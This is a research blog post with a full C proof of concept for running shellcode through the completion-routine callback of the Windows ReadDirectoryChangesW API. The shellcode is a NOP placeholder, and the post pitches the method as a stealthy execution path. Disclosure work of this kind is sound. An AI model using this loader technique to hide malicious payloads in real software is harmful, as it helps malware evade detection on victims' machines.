While digging into the ReadDirectoryChanges
API, I noticed it supports an asynchronous callback via LPOVERLAPPED_COMPLETION_ROUTINE
. Most people use this API to monitor file system changes, but what if we could hijack that callback to execute shellcode? This led me to develop a proof-of-concept (PoC) that turns a mundane filesystem monitoring function into a stealthy shellcode execution vector.
The API is documented as follows by Microsoft.
BOOL ReadDirectoryChangesW( [in] HANDLE hDirectory, [out] LPVOID lpBuffer, [in] DWORD nBufferLength, [in] BOOL bWatchSubtree, [in] DWORD dwNotifyFilter, [out, optional] LPDWORD lpBytesReturned, [in, out, optional] LPOVERLAPPED lpOverlapped, [in, optional] LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine ); |
In this PoC, the shellcode is embedded in the executable’s .text section and passed as the lpCompletionRoutine
argument to ReadDirectoryChanges
. When a file system event like creating/deleting/renaming a file in a given directory completes the asynchronous I/O operation, the Windows kernel queues a user-mode Asynchronous Procedure Call (APC) to the issuing thread. Since the main thread enters an alertable state via SleepEx(100, TRUE)
, the kernel delivers the APC, which invokes the shellcode as the I/O completion routine. This executes the shellcode directly in the context of the program’s main thread.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
#include <windows.h> #include <stdio.h> /* [*] ReadDirectoryChanges Shellcode Execution PoC [*] Author: Osanda Malith Jayathissa - @OsandaMalith [*] www.osandamalith.com [*] Date: 25/09/2025 */ #pragma section(".text") __declspec(allocate(".text")) unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; int main() { puts("[*] ReadDirectoryChanges Shellcode Execution PoC"); puts("[*] Author: Osanda Malith Jayathissa - @OsandaMalith"); puts("[*] www.osandamalith.com\n"); LPCWSTR dirPath = L"C:\\Temp"; // Dir to monitor HANDLE hDir = CreateFileW( dirPath, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); if (hDir == INVALID_HANDLE_VALUE) { printf("[-] Failed to open directory: %d\n", GetLastError()); return 1; } printf("[+] Monitoring directory: %ls\n", dirPath); printf("[+] Shellcode at: 0x%p\n", shellcode); BYTE buffer[1024]; OVERLAPPED overlapped = { 0 }; overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); BOOL result = ReadDirectoryChangesW( hDir, buffer, sizeof buffer, TRUE, FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_DIR_NAME, NULL, &overlapped, (LPOVERLAPPED_COMPLETION_ROUTINE)(PVOID)shellcode // Register shellcode as completion routine ); if (!result) { printf("[-] ReadDirectoryChanges failed: %d\n", GetLastError()); CloseHandle(overlapped.hEvent); CloseHandle(hDir); return 1; } printf("[+] Shellcode registered as completion routine!\n"); printf("\n[*] To trigger shellcode:\n"); printf("[+] Create/delete/rename a file in: %ls\n", dirPath); // Wait for events while (TRUE) { // SleepEx with alertable wait DWORD waitResult = SleepEx(100, TRUE); // TRUE = alertable if (waitResult == WAIT_IO_COMPLETION) { printf("[!] Completion routine executed!\n"); } } CloseHandle(overlapped.hEvent); CloseHandle(hDir); return 0; } |
https://github.com/OsandaMalith/ReadDirectoryChanges/blob/main/ReadDirectoryChanges.c